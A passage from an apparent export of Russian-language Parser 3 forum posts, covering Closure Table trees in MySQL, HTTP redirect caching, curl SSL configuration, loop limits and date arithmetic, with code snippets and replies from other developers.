							AND t.anc IN (^iPagesID.menu{$iPagesID.pID}[,])\
						}\
					}{\
						AND t.anc != t.dsc\
						AND t.anc = ^iPagesID.int(0)\
					}[/code]\
\
Или это не ошибка, в общем буду пытаться и еще раз пытаться.\
Я даже не знаю в какое место палкой тыкать."
"82451","Почему вы взяли более сложный вариант и для понимания и для реализации?"
"82452","Как я понял из описания алгоритма Closure Table, то для каждого элемента должен быть узел, ссылающийся на самого себя. 7-7 и 47-47 есть, а где 17-17, 27-27, 37-37, 67-67?\
\
p.s. Лучше взять прямой алгоритм с id-parentID-threadID. Мне его хватало для всех задач. Даже не приходилось делать дополнительное поле с путем до узла от корня, чтобы быстро вынимать куски дерева без рекурсивных запросов к базе. :)"
"82453","Каких-то десять лет назад [url=http://www.parser.ru/forum/?id=52921]обсуждали деревья[/url].\
\
Среди ссылок там есть [url=http://gsbelarus.com/pw/articles/post/derev-ia-v-sql/#c2]хороший материал с примерами[/url]."
"82454","Если anc = dsc, это не узел, это корневой предок, остальные являются связанными между собой родителями/детьми.\
У меня получилось сделать вывод деревьев, только осталась маленькая проблема, не отображаются корневые потомки.\
\
[code]@createHashTree[tPages]\
$result[^tPages.hash[anc][$.distinct[tables]]]\
\
@printTreeItem[hPage;sBody]\
$result[<li>$hPage.name^if(def $sBody){<ul class=\"list\">$sBody</ul>}</li>]\
\
@printPages[hTree;iParentID][tLevel]\
^if($hTree.[$iParentID]){\
	^hTree.[$iParentID].menu{\
		^rem{строка ниже вызывает ошибку 'printPages' call canceled - endless recursion detected}\
		^printTreeItem[$hTree.[$iParentID].fields;^if($hTree.[$hTree.[$iParentID].pID]){^printPages[$hTree;$hTree.[$iParentID].pID]}]\
	}\
}\
\
@addPage[params]\
$sections[^get.getPages[$.tID[1]]]\
^connect[$connect_string]{\
	$parent[^table::sql{\
		SELECT * FROM pages p\
		JOIN path t ON (p.pID = t.dsc)\
		WHERE t.anc IN (^sections.menu{$sections.pID}[,])\
		^rem{если убрать строку ниже, то будет ошибка 'printPages' call canceled - endless recursion detected}\
		AND t.anc != t.dsc\
		ORDER BY anc, lvl\
	}]\
	$hTree[^createHashTree[$parent]]\
}\
<ul class=\"list\">^printPages[$hTree;$parent.anc]</ul>[/code]\
\
Не знаю что прописать в ^printPages[], а именно iParentID чтобы выводились еще корневые родители, а не так как сейчас, только со 2-го уровня."
"82455","Из за того, что anc = dsc происходит ошибка.\
Не знаю что именно прописать чтобы заработало, и не знаю как уровни вложенности подключить.\
В итоге получилось следующее:\
Выводит первое корневое значение из нескольких, ниже, не как потомок отображается его потомок и уже под потомком потомка отображение списка происходит нормально.\
\
Привожу код:\
[code]@createHashTree[tPages]\
$result[^tPages.hash[anc][$.distinct[tables]]]\
\
@printTreeItem[hPage;sBody]\
$result[<li><label><input type=\"checkbox\" name=\"section\" value=\"$hPage.pID\"> $hPage.name</label>^if(def $sBody){<ul class=\"list\">$sBody</ul>}</li>]\
\
@printPages[hTree;iParentID][tLevel]\
^if($hTree.[$iParentID]){\
	^hTree.[$iParentID].menu{\
		^printTreeItem[\
			$hTree.[$iParentID].fields;\
			^if($hTree.[$hTree.[$iParentID].dsc]){\
				^if($hTree.[$iParentID].anc eq $hTree.[$iParentID].dsc){\
					...\
				}{\
					^printPages[$hTree;$hTree.[$iParentID].dsc]\
				}\
			}\
		]\
	}\
}\
\
@addPage[params]\
$sections[^get.getPages[$.tID[1]]]\
^connect[$connect_string]{\
	$tPage[^table::sql{\
		SELECT * FROM pages p\
		JOIN path t ON (p.pID = t.dsc)\
		WHERE t.anc IN (^sections.menu{$sections.pID}[,])\
		ORDER BY anc, lvl\
	}]\
	$hTree[^createHashTree[$tPage]]\
}\
<ul class=\"list\">^printPages[$hTree;$tPage.anc]</ul>[/code]\
\
Помогите пожалуйста до конца дописать, не знаю что делать, все перепробовал."
"82456","Схема и данные:\
[code]CREATE TABLE `_tree` (\
	`page_id` INT(10) UNSIGNED NOT NULL,\
	`ancestor_id` INT(10) UNSIGNED NOT NULL,\
	`distance` SMALLINT(5) UNSIGNED NOT NULL DEFAULT '0',\
	PRIMARY KEY (`page_id`, `ancestor_id`, `distance`),\
	INDEX `idx_ancestor_id` (`ancestor_id`),\
	CONSTRAINT `fk_ancestor_id` FOREIGN KEY (`ancestor_id`) REFERENCES `_tree` (`page_id`) ON UPDATE CASCADE ON DELETE CASCADE\
)\
COLLATE='utf8_general_ci'\
ENGINE=InnoDB\
;\
\
INSERT INTO `_tree` (`page_id`, `ancestor_id`, `distance`)\
VALUES\
(0, 0, 0),\
(1, 0, 1),\
(1, 1, 0),\
(2, 0, 2),\
(2, 1, 1),\
(2, 2, 0),\
(3, 0, 2),\
(3, 1, 1),\
(3, 3, 0);[/code]\
\
Вывод:\
[code]@main[]\
$root(1)\
\
^connect[$SQL.connect-string]{\
	$tree[^table::sql{\
		SELECT t.page_id, p.ancestor_id AS parent_id\
		FROM _tree AS t\
		JOIN _tree AS p ON (p.page_id = t.page_id AND p.distance = 1)\
		WHERE t.ancestor_id = $root\
	}]\
}\
\
$tree[^tree.hash[parent_id][\
	$.type[table]\
	$.distinct(true)\
]]\
\
<style>\
	#tree div { border: 1px solid gray }\
	#tree div div { margin-left: 50px }\
</style>\
\
<div id=\"tree\">\
	^print[$tree]\
</div>\
\
\
@print[tree;parent_id][locals]\
$parent_id(^parent_id.int(0))\
$children[$tree.$parent_id]\
$result[]\
\
^if($children){\
	$result[^children.menu{\
		<div>\
			<strong>$children.page_id</strong>\
			^print[$tree]($children.page_id)\
		</div>\
	}]\
}[/code]\
\
Можно обойтись и без корневого элемента page_id = 0 и сэкономить одну связь на каждый элемент, но тогда нужно делать LEFT JOIN, IFNULL(ancestor_id, 0) AS ancestor_id и сложнее доставать всё дерево целиком."
"82457","А в методе пробовали упростить до \
[code]\
@method[]\
$result[method result goes here]\
[/code]\
\
?"
"82459","Реально чистота эксперимента важна. У самого кое-где глюки ползут. Вот и пытаюсь понять на какой стороне создания проги глючит :)"
"82462","[code]CREATE TABLE IF NOT EXISTS `path` (\
	`anc` INT NOT NULL,\
	`dsc` INT NOT NULL,\
	`lvl` INT NOT NULL,\
	PRIMARY KEY(anc, dsc),\
		FOREIGN KEY (anc)\
			REFERENCES pages (pID),\
		FOREIGN KEY (dsc)\
			REFERENCES pages (pID)\
) ENGINE=InnoDB DEFAULT CHARSET=utf8\
\
INSERT INTO `path` (`anc`, `dsc`, `lvl`)\
VALUES\
(1, 1, 1),\
(1, 2, 2),\
(1, 3, 2),\
(1, 4, 2),\
(2, 5, 3),\
(2, 6, 3),\
(5, 7, 4),\
(3, 8, 3),\
(8, 9, 4);[/code]\
\
Пытаюсь выводить:\
\
[code]$sections[^get.getPages[$.tID[1]]]\
^if($sections){\
	^connect[$connect_string]{\
		$tPage[^table::sql{\
			SELECT\
				p.*, \
				h.anc AS parent\
			FROM\
				pages p\
			JOIN\
				path h ON p.pID = h.dsc\
			LEFT JOIN\
				path t ON (h.anc = t.anc AND t.lvl = 1)\
			WHERE\
				h.anc IN (^sections.menu{$sections.pID}[,])\
		}]\
	}\
	$hPage[^tPage.hash[parent][\
		$.type[table]\
		$.distinct(true)\
	]]\
}\
\
^if($sections){<ul class=\"list\">^print[$hPage]($tPage.pID)</ul>}\
\
@print[tree;parent][locals]\
$parent(^parent.int(0))\
$children[$tree.$parent]\
$result[]\
\
^if($children){\
	$result[^children.menu{\
		<li>\
			<label><input type=\"checkbox\" name=\"section\" value=\"$children.pID\"> $children.name</label>\
			^if($children.pID ne $children.parent){\
				<ul class=\"list\">^print[$tree]($children.pID)</ul>\
			}\
		</li>\
	}]\
}[/code]\
\
LEFT JOIN, IFNULL(ancestor_id, 0) AS ancestor_id меня заинтересовал, почитал, попробовал, не получилось, как правильно формировать запрос?\
\
Код выводит первого корневого родителя и всех его детей, при этом на выводе корневой родитель и его потомок в один столбик, а потом уже начинается вложенность.\
\
Второго и последующих корневых родителей не выводит.\
\
[code]<ul class=\"list\">\
	<li><label><input type=\"checkbox\" name=\"section\" value=\"97\"> Root Parent</label></li>\
	<li><label><input type=\"checkbox\" name=\"section\" value=\"117\"> Child</label>\
		<ul class=\"list\">\
			<li><label><input type=\"checkbox\" name=\"section\" value=\"127\"> Child 2</label>\
				<ul class=\"list\">\
					<li><label><input type=\"checkbox\" name=\"section\" value=\"137\"> Child 3</label>\
						<ul class=\"list\">\
							<li><label><input type=\"checkbox\" name=\"section\" value=\"147\"> Child 5</label>\
								<ul class=\"list\"></ul>\
							</li>\
						</ul>\
					</li>\
					<li><label><input type=\"checkbox\" name=\"section\" value=\"147\"> Child 4</label>\
						<ul class=\"list\"></ul>\
					</li>\
				</ul>\
			</li>\
		</ul>\
	</li>\
</ul>[/code]"
"82463","Разберитесь с данными, сейчас это какая-то ерунда, а не связи.\
Разберитесь с тем, как связи формируются и извлекаются, ссылки на подробные статьи были выше.\
Разберитесь с тем, как при указанной схеме хранения извлекаются фрагменты дерева.\
Разберитесь с тем, как работает вывод дерева, зачем строится хеш, зачем в метод передаётся родитель.\
\
Какие-то сапоги всмятку — «не знаю, попробовал, не получилось»."
"82464","Почему ерунда?\
Фрагменты дерева легко извлекать запросами на подобии:\
[code]#Выборка родителя и его детей\
SELECT\
	*\
FROM\
	pages p\
JOIN\
	path t ON (p.pID = t.dsc)\
WHERE\
	t.anc = $param\
#Выборка ребенка и его родителей\
SELECT\
	*\
FROM\
	pages p\
JOIN\
	path t ON (p.pID = t.anc)\
WHERE\
	t.dsc = $param\
[/code]\
Примерно понял как работает вывод дерева, хеш строится для того, чтобы сгруппировать всех предков в одного родителя, а в метод передается родитель для того, чтобы использовать его как ссылку, по которой будет происходить переход.\
Т.е. метод берет заданный хеш, ищет в нем ключ = родитель, достает из хеша записи детей, если ребенок является родителем, то извлекаются его дети.\
\
Единственная проблема у меня, это когда ключ = родителю = записи, происходит циклическая переадресация, получается, что метод ссылается на себя бесконечно, как это обойти не знаю.\
\
Единственный понятный для меня выход, это поменять таблицу связей\
[code]CREATE TABLE IF NOT EXISTS `path` (\
	`anc` INT NOT NULL,\
	`dsc` INT NOT NULL,\
	`lvl` INT NOT NULL,\
	PRIMARY KEY(anc, dsc),\
		FOREIGN KEY (anc)\
			REFERENCES pages (pID),\
		FOREIGN KEY (dsc)\
			REFERENCES pages (pID)\
) ENGINE=InnoDB DEFAULT CHARSET=utf8;[/code]\
Минимум, это убрать FOREIGN KEY (anc) REFERENCES pages (pID)\
\
А если таблицу не трогать, то выхода Я не вижу, поэтому и интересуюсь у Вас.\
\
Например, делаю запрос к БД\
[code]SELECT\
	p.*, \
	h.anc AS parent\
FROM\
	pages p\
JOIN\
	path h ON p.pID = h.dsc\
LEFT JOIN\
	path t ON (h.anc = t.anc AND t.lvl = 1)\
[/code]\
Результат будет следующим:\
[code]pID	tID	uID	parent\
97	1	7	97\
107	1	7	107\
117	1	7	97\
127	1	7	117\
137	1	7	127\
147	1	7	127\
147	1	7	137[/code]"
"82465","[quote]Почему ерунда?[/quote]\
\
Потому что ерунда.\
Либо у вас какой-то свой Closure Table.\
\
Сравните мой пример данных и свои.\
Для каждого элемента должна быть запись связи к каждому из предков, с указанием дистанции (а не абстрактного уровня).\
Для каждого элемента должна быть запись связи самого с собой с расстоянием 0."
"82466","На самом деле это достаточно актуальная проблема, которая приводит к тому, что в начале метода часто пишут $hData[^hash::create[$hData]], с соответствующими накладными расходами. Вот в таких например случаях:\
\
[code]@m[hData]\
^m2[$hData\
  $.moreParams[value]\
]\
[/code]"
"82467","В данном случае проблема связана с ^break[]. Он прекращает выполнение кода после первой же команды. Но его действие сейчас распространяется в том числе и на код, который написан в секции finally. Не очень правда понял, зачем в вашем коде $exception.handled(true) - ^break[] не вызывает исключения. Попутно нашел и другую проблему с finally, все занес в to-do."
"82468","[quote]В данном случае проблема связана с ^break[]. Он прекращает выполнение кода после первой же команды. Но его действие сейчас распространяется в том числе и на код, который написан в секции finally.[/quote]\
\
Хитро.\
\
[quote]Не очень правда понял, зачем в вашем коде $exception.handled(true) - ^break[] не вызывает исключения.[/quote]\
\
Вызывает, если не в цикле.\
Осталось от эксперимента с break вне цикла, у меня на него и было основное подозрение, но я не докрутил.\
\
[quote]Попутно нашел и другую проблему с finally, все занес в to-do.[/quote]\
\
Хорошо."
"82469","я в начале методов пишу $params[^hash::create[$params]] по другой причине. если ничего не передать (*), то там будет string. соотв. обращения к $params.field обламываются с исключением.\
\
* возможно я не уследил и теперь, всё лучше, т.к. во первых пусые параметры передаются как void, а во вторых мы что-то делали с тем, чтобы пустая строка вела себя как void. однако есть ещё не пустые строки появляющиеся из-за форматирования кода (пробельные), которые всё равно портят жизнь. т.е. этот ^hash::create[] у меня -- это явное приведение входного параметра к хэшу.\
\
P.S. а от изменения он толком-то и не защищает. точнее защищает только первый уровень."
"82470","[quote]однако есть ещё не пустые строки появляющиеся из-за форматирования кода (пробельные), которые всё равно портят жизнь. [/quote]\
\
Да, на эту тему уже заведен тикет #1046."
"82471","По-умолчанию $response:location отдает 301-й редирект,\
что означает Permanent - постоянный.\
\
Это во-первых иначе воспринимается как поисковыми системами,\
так и браузером (типа Chrome), который кеширует это так жёстко, что помогает только полна очистка всего кеша и истории... никакой инкогнито-mode в этом профиле браузера и тем более ctrl+F5 не поможет (если это был редирект с суб.домена типа www. на корень или наоборот, браузер додумывает логику за вас), а еще столкнулся со странными разлогонами, и ошибками в \"закрытой части сайта\" и как оказалось причина та же - закэшировался редирект. \
\
Это приводит к печальному дебагу, если ваш $response:location используется для перенаправления в логических целях, типа login/logout.\
\
Используйте в таких целях Temporary Redirect (302)\
и не поленитесь написать, что-то вроде:\
[code]\
		$response:status(302)\
		$response:location[$url]\
		$response:content-type[\
			$.value[text/html]\
			$.charset[$SYS_charset]\
		]\
[/code]\
вместо аутичного $response:location"
"82472","[code]По-умолчанию $response:location отдает 301-й редирект,\
что означает Permanent - постоянный.[/code]\
\
Вообще-то 302.\
\
[quote]не поленитесь написать, что-то вроде:\
		$response:status(302)\
		$response:location[$url]\
		$response:content-type[\
			$.value[text/html]\
			$.charset[$SYS_charset]\
		]\
вместо аутичного $response:location[/quote]\
\
Лучше добавить т. н. «антикэширующие заголовки», дабы явно дать понять клиенту, что кэшировать ответ не нужно."
"82473","Привет.\
\
Возникла идея создать фильтр мата в пользовательских сообщениях.\
\
Задача: при сабмите формы проходиться по тексту, видеть в словах подозрительные (по списку) [i]сочетания букв[/i] и окружать их спэном.\
\
Это вообще возможно средствами парсера? Ещё раз: идти по тексту и искать в нём, например, три главные буквы (на деле я придумаю нормальный список образцов, чтобы слово \"подстрахуйте\" не подпадало), и если да, обернуть их в <span class=\"mat\">йте</span>, если нет, идти дальше.\
\
М?"
"82474","[code]$rep[^table::create{from	to\
йте	<span class=\"mat\">йте</span>}] \
\
^s.replace[$rep][/code]"
"82475","Любой фильтр, не наделённый искусственным интеллектом, легко обходится.\
Фильтрацией вы лишь стимулируете изобретательность и эвфемизацию.\
\
Лучший способ — периодическая модерация и раздача заслуженного."
"82476","Иначе «йте» из примера будет найден в любом слове и только в нижнем регистре. Так что надо делать пачку регулярок.\
\
p.s. Поддержу GZ — все эти проверки элементарно обойдут ваши пользователи и вся борьба с матом превратиться в бесконечную игру робота с человеком."
"82477","Проверил, и правда 302 по-умолчанию... значит где-то в коде был когда-то перебит статус... (хотя опять же как).\
\
В общем, по эмпирическому опыту с отладкой через curl/wget\
опытным путем удалось понять, что Chrome очень по-своему иногда обрабатывает. Совершенно точно не как в FF (оба last stable).\
\
При это были включены все заголовки и опции для отключения кеширования по максимуму.\
\
Вот пишут:\
\
[quote]302 Found, 302 Moved Temporarily — запрошенный документ временно доступен по другому URI, указанному в заголовке в поле Location. Этот код может быть использован, например, при управляемом сервером согласовании содержимого. [b]Некоторые клиенты некорректно ведут себя при обработке данного кода[/b][/quote]\
\
В общем, видимо какой-то такой случай я словил...\
и вообще советуют 307-ой отдавать для логических редиректов."
"82478","[quote]В общем, по эмпирическому опыту с отладкой через curl/wget\
опытным путем удалось понять, что Chrome очень по-своему иногда обрабатывает. Совершенно точно не как в FF (оба last stable).\
\
При это были включены все заголовки и опции для отключения кеширования по максимуму.[/quote]\
\
Хром сильно кэширует, но антикэширующие заголовки учитывает.\
Я использую обычную связку cache-control, expires, pragma.\
\
[quote]советуют 307-ой отдавать для логических редиректов[/quote]\
\
Это вместо 302 можно, 301 не заменит.\
Что такое «логический редирект» не знаю."
"82479","В стандарте явно написано, что кешировать надо только когда явно задано кеширование:\
\"This response is only cacheable if indicated by a Cache-Control or Expires header field.\"\
https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.3\
\
Я не замечал за хромом кеширование редиректов, если мы выдаем ответ без антикеширующих заголовков."
"82480","[quote]Я не замечал за хромом кеширование редиректов, если мы выдаем ответ без антикеширующих заголовков.[/quote]\
\
301 кэшируется намертво.\
Прочие — уже не вспомню, но всем выдаю заголовки одинаково."
"82481","[quote]10.3.2 301 Moved Permanently\
\
The requested resource has been assigned a new permanent URI and any future references to this resource SHOULD use one of the returned URIs. Clients with link editing capabilities ought to automatically re-link references to the Request-URI to one or more of the new references returned by the server, where possible. [b]This response is cacheable unless indicated otherwise.[/b] [/quote]\
https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.2\
\
Речь шла про триставторой, который должен кешироваться только если сервер явно об этом попросил. Никакого смысла использовать 303 или 307 редирект сейчас нет — поведение 301 и 302 редиректов стало стандартом де-факто, а вот как разные клиенты будут работать с 303 и 307 никто не знает."
"82482","[quote]Речь шла про триставторой, который должен кешироваться только если сервер явно об этом попросил.[/quote]\
\
Речь шла о том, что «по умолчанию» — 301, а это не так.\
Далее я пишу о том, что если хочется не кэшировать любое перенаправление — лучше делать это явно указывая заголовки, чем надеяться на следование клиентами стандарту.\
\
[quote]Никакого смысла использовать 303 или 307 редирект сейчас нет — поведение 301 и 302 редиректов стало стандартом де-факто, а вот как разные клиенты будут работать с 303 и 307 никто не знает.[/quote]\
\
Смысл их использовать остался неизменным — если хочется явно указать клиенту на смену или сохранение метода при переходе.\
К кэшированию отношения имеют не больше, чем остальные коды перенаправлений.\
\
Что до клиентов — должны обрабатывать корректно, если поддерживают HTTP/1.1, ему уже почти 17 лет стукнуло."
"82485","\"Логический редирект\" - ну это моя выдумка на ходу - имелось ввиду конечно временное перенаправление. Связанное с логическими функциями переброса клиента по разным урлам сайта."
"82486","Только что выложил на Marketplace для Visual Studio Code:\
https://marketplace.visualstudio.com/items?itemName=viatsko.parser3\
\
Установка через Cmd+Shift+P > Install Extension > Parser 3\
\
Также напоминаю что недавно вышел плагин для Atom:\
https://atom.io/packages/language-parser3\
\
Самая лучшая благодарность - звездочка репозиторию или фоллоу на github :)\
https://github.com/viatsko/code-parser3\
https://github.com/viatsko/language-parser3"
"82487","Также вчера сделал подборочку ресурсов по VS Code на github https://github.com/viatsko/awesome-vscode\
\
И написал статью о веб-разработке на VS Code в целом https://medium.com/@viatsko/my-vs-code-setup-for-front-end-web-development-ac3fcc7154d6#.6za2h2uut"
"82488","Необходим для 64-битной ОС Debian.\
\
Пытаюсь собрать, выдает ошибки\
Подскажите где скачать можно?"
"82489","тут чтобы safe mode бинарники скачать квест пройти надо.\
ищите ссылку на скачивание чего-ить в safe mode в форуме. смотрите на неё. смотрите на текущую ссылку на скачивание нужной вам версии под нужную OS. думаете ;)"
"82490","Начну с задачи, где планировал использовать примеси как вариант множественного наследования.\
\
[code]@main[]\
$c[^c::create[]]\
^c.action[]\
[$c.a]\
^c.method[]\
[$c.a]\
\
\
@CLASS\
a\
\
@create[]\
\
\
@CLASS\
b\
\
@BASE\
a\
\
@method[]\
$self.a(3)\
\
\
@CLASS\
c\
\
@create[]\
$self.a(1)\
\
$b[^b::create[]]\
\
$bm[^reflection:methods[$b.CLASS_NAME]]\
$sm[^reflection:methods[$self.CLASS_NAME]]\
^bm.sub[$sm]\
\
^bm.foreach[name;]{\
	$self.$name[^reflection:method[$b;$name]]\
}\
\
@action[]\
$self.a(2)[/code]\
\
В большинстве случаев объекты класса «c» используются в чистом виде.\
Но иногда необходимо расширить их методами объектов класса «b», отнаследованных от класса «a».\
\
Этакий partial, но с наследованием.\
[b]При этом хочется, чтобы на код не накладывалось дополнительных ограничений — можно было в любом из пары объектов звать методы любого из них, читать и записывать общие поля.[/b]\
\
Помочь с методами могут примеси, [url=http://www.parser.ru/forum/?id=81729]пример которых показывал Sumo[/url].\
Там они достаточно навороченные, со своими конструкторами, рассмотрим более простой вариант: кладём в поля акцептора ссылки на методы донора.\
В результате акцептор имеет полный набор методов.\
\
Остаются две проблемы:\
1. методы донора не могут вызывать методы акцептора, так как ничего о них не знают. Решить это можно передачей донора акцептору и использование ссылки в вызовах, как это сделано у Олега с «this», или обратным подмешиванием методов акцептора донору;\
2. подмешанные акцептору методы не могут обращаться к его полям, так как их self — указатель на объект-донор, а не на акцептор.\
\
Обе проблемы, конечно, решаемые, но приводят к тому, что код донора должен знать, что может быть подмешан, что приводит к необходимости всё писать с оглядкой на такую возможность, к примеру, везде использовать «self.this», вместо «self».\
\
Огульно пришла в голову мысль о полезной возможности подмены объекта, на которую указывают переменных «self» методов, но Олег правильно заметил, что будут проблемы с поиском и обращением к унаследованным методам и полям донора.\
\
Быть может есть элегантный подход, которого я не вижу?"
"82491","В пакетах как раз версия без safe mode."
"82492","Вы можете показать как обойтись без нулей?\
И мне немного непонятно как записывать данные в БД при такой структуре, сейчас у меня запись в таком виде:\
[code]^connect[$connect_string]{\
	^void:sql{\
		INSERT INTO `pages` (\
			...\
		) VALUES (\
			...\
	}\
	^void:sql{\
		SET @last_pID := LAST_INSERT_ID()\
	}\
	^if($section){\
		^section.menu{\
			$level[^get.getPath[$.dsc[$section.field]]]\
			^if(def $level.lvl){$lvl($level.lvl + 1)}{$lvl(1)}\
			^void:sql{\
				INSERT INTO `path` (anc, dsc, lvl) VALUES (^if(def $form:section){$section.field}{@last_pID}, @last_pID, '^if(${params.type} eq 'sections'){${lvl}}{${level.lvl}}')\
			}\
		}\
	}{\
		^void:sql{\
			INSERT INTO `path` (anc, dsc, lvl) VALUES (@last_pID, @last_pID, '1')\
		}\
	}\
}[/code]"
"82493","[quote]Вы можете показать как обойтись без нулей?[/quote]\
\
[url=http://www.parser.ru/forum/?id=82456]Я уже написал[/url]: LEFT JOIN и IFNULL(ancestor_id, 0).\
Откройте любой пример или книгу по SQL.\
\
[quote]И мне немного непонятно как записывать данные в БД при такой структуре, сейчас у меня запись в таком виде:[/quote]\
\
Вы открывали [url=http://gsbelarus.com/pw/articles/post/derev-ia-v-sql/#c2]статью про деревья[/url], прямая ссылка на которую была дана уже дважды?\
\
Там есть примеры запросов.\
Перейти от триггеров к обычным запросам несложно.\
\
Вы взялись работать со схемой хранения, не зная какие запросы понадобятся для вставки и выборки?..\
\
[quote]сейчас у меня запись в таком виде[/quote]\
\
Зачем вы показываете код неработающей схемы, чем и кому это поможет?"
"82494","Вот это работает с коммандной строки:\
\
curl --user user:pass --data-binary 'data'  -H 'content-type: text/plain;' https://ip:port --cacert /path/to/cert.cert\
\
А вот через ^curl:load повторить это не могу пока... Ругается \"SSL connect error\" А в stderr такое:\
\
* found 172 certificates in /etc/ssl/certs/ca-certificates.crt\
* error reading X.509 key or certificate file\
\
Разумеется, я туда вставляю $.sslcert[/path/to/cert.cert]"
"82495","Но всеравно вижу такую ошибку:\
\
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt\
* gnutls_handshake() failed: A TLS fatal alert has been received.\
* Closing connection #0\
* SSL connect error"
"82496","1. Нужно ему сказать чтоб юзал openssl а не gnutls (по-умолчанию).\
^curl:options[$.library[libcurl.so.4.2.0]]\
\
2. Сертификат указывать через $.sslcert бесполезно - всегда ошибки. Установил сертификат в систему.\
cd /etc/ssl/certs\
ln -s my_ca.crt `openssl x509 -hash -noout -in my_ca.crt`.0\
\
3. Если есть стандартная (basic) авторизация - $.username, $.userpwd не использовать - не работает. Нужно в url её добавлять. https://user:pass@host"
"82497","Т.е. теперь в UTF-8 режиме, встретив по ходу пьесы что-то типа:\
[code]\
   $str1[^string:unescape[uri;%FF]]\
   $str2[^string:unescape[uri;%%F]]  ^rem{# от которого в урле сам Апач даст 400-ую не дойдя даже до Парсера}\
   ^str1.lower[]\
   ^str2.lower[]\
[/code]\
\
Парсер не выпадет теперь в исключение от некорректных UTF-последовательностей, а просто в худшем случае ничего не вернет? \
\
Эмпирически пока на это похоже, но хочется удостовериться наверняка\
можно ли теперь выпилить старый \"парашют\", а-ля:\
[code]\
 ^try{ \
     $_tmp[^string:js-unescape[%%F]]\
     $_tmp.lower[] \
  }\
[/code]\
\
\
P.S.: То ли мне кажется, и я просто не помню как воссоздать падение."
"82498","Пытаюсь протестить на коде нововведения из ChLog:\
\
Делаю:\
[code]\
$response:fields\
# void и разумеется ^response:fields.foreach[k;v] => void method not found\
\
$response:headers\
# перебор дает ожидаемо заданные\
STATUS: 200\
CONTENT-TYPE: \
  value: text/html\
  charset: utf-8 \
\
$env:fields\
# тоже все показывает\
[/code]\
\
А $response:fields это какие заголовки ответа или что это?"
"82500","может здесь http://www.parser.ru/forum/?id=81847 : * Заголовки в $response:fields переведены в UPPERCASE?"
"82501","* Заголовки в $response:fields переведены в UPPERCASE, можно удалить заголовок, задав ему пустое значение."
"82502","имелось в виду не \"дословно\" $response:fields (по аналогии с $form:fields, $env:fields, где пишем буквы \"fields\" и получаем хэш с заголовками ответа), а $response:ЗАГОЛОВОК1, $response:ЗАГОЛОВОК2.\
\
теперь при обращении к ним из парсера надо писать их имена в верхнем регистре (раньше надо было писать их имена в lowercase). отдаваться они всё равно будет Capitalized.\
\
P.S в виде хэша они уже были доступны раньше как $response:headers"
"82503","[quote]теперь при обращении к ним из парсера надо писать их имена в верхнем регистре (раньше надо было писать их имена в lowercase)[/quote]\
\
Не совсем так, здесь можно обращаться в любом регистре.\
\
[quote]P.S в виде хэша они уже были доступны раньше как $response:headers[/quote]\
\
А вот в этом хеше ключи будут уже в верхнем регистре."
"82505","Есть подозрение, что подсовывают редактор с эксплоитом."
"82506","Предлагаю расширить список полей даты, поддерживающих сдвиг, часом, минутой и секундой.\
Сейчас для сдвига менее суток приходится конструировать новую дату, прибавляя сдвиги к значениям полей."
"82507","Иногда требуется выполнить большое количество итераций.\
О механизме заведомо известно, что он не зацикливается.\
Разбить на несколько вложенных циклов нельзя, требуется один while.\
\
Можно ли обойти / отключить / переопределить ограничение в двадцать тысяч итераций?\
\
Это же ограничение не позволит достаточно долго работать легковесному демону, что невесело."
"82508","Для сдвигов менее суток можно использовать дату как число, зачем работать с полями? [code]$d[^date::create($d+1/24)][/code] Дни можно так же добавлять, но не всегда в сутках 24 часа. :)"
"82509","[quote]Для сдвигов менее суток можно использовать дату как число, зачем работать с полями?[/quote]\
\
Смущает не столько работа с полями, сколько копирование даты, которого не требуется.\
\
[quote]но не всегда в сутках 24 часа[/quote]\
\
В этом roll в том числе был бы полезен."
"82510","src/classes/op.C\
#define MAX_LOOPS 20000\
\
Можно поменять на большее число.\
\
[quote]Разбить на несколько вложенных циклов нельзя, требуется один while.[/quote]\
\
В особая разница между \
\
[code]$i(0)\
^for[a](0;999){\
    ^for[b](0;999){\
        <body>\
        ^i.inc(1)\
    }\
}\
[/code]\
и\
\
[code]^for[i](0;999999){\
    <body>\
}\
[/code]?\
\
Выйти из двойного цикла при необходимости труда не составляет, если речь именно про ^while\
\
[quote]^if($condition){\
    $a(1000)\
    ^break[]\
}\
...\
^if($a>999){\
    ^break[]\
}\
[/quote]"
"82511","[quote]src/classes/op.C\
#define MAX_LOOPS 20000\
\
Можно поменять на большее число.[/quote]\
\
А нельзя вынести в качестве настройки в MAIN?\
Если 0 — не детектить зацикливание."
"82512","[quote]Смущает не столько работа с полями, сколько копирование даты, которого не требуется.[/quote]\
\
С точки зрения производительности особой разницы нет.\
\
[quote]В этом roll в том числе был бы полезен.[/quote]\
\
Что-то слабо себе представляю. 1:50, в 2 часа стрелки переводятся на час вперед, говорю добавить 30 минут, что должно получиться на выходе? Сейчас будет 3:20."
"82513","[quote]С точки зрения производительности особой разницы нет.[/quote]\
\
Логично, число.\
\
[quote]Что-то слабо себе представляю. 1:50, в 2 часа стрелки переводятся на час вперед, говорю добавить 30 минут, что должно получиться на выходе? Сейчас будет 3:20.[/quote]\
\
Логично 2.\
Корректное поведение.\
\
\
У меня привычка от MySQL, где DATE_ADD, DATE_SUB, TIMESTAMPDIFF и INTERVAL работают со всем набором размерностей."
"82514","[quote]А нельзя вынести в качестве настройки в MAIN?[/quote]\
\
Это просто (как назвать настройку)? Но раз это не было сделано раньше, возможно этому есть какая-то причина?\
\
[quote]Если 0 — не детектить зацикливание.[/quote]\
\
Технически проще сделать 0 эквивалентным MAX_INT, то есть 2 миллиардам, думаю вполне достаточно. :)"
"82515","[quote]Это просто (как назвать настройку)? Но раз это не было сделано раньше, возможно этому есть какая-то причина?[/quote]\
\
Думаю, MAX_LOOPS вполне говорящее имя.\
\
Подозреваю, что не сделали, потому как PAF считал, что большие циклы не требуются.\
В обычной практике так оно и есть, но бывают редкие исключения.\
\
[quote]Технически проще сделать 0 эквивалентным MAX_INT, то есть 2 миллиардам, думаю вполне достаточно[/quote]\
\
Со sleep в секунду в цикле это всего 136 лет непрерывной работы!\
\
Думаю, это всех устроит."
"82516","Т.е. я бы даже сказал\
^date.roll[second;minute;hour;day;month;year] - или в обратном порядке..."
"82517","[quote]^date.roll[second;minute;hour;day;month;year] - или в обратном порядке[/quote]\
\
Roll сдвигает одно поле, передавать несколько нельзя.\
\
[code]@date-add[date;hours;minutes;seconds]\
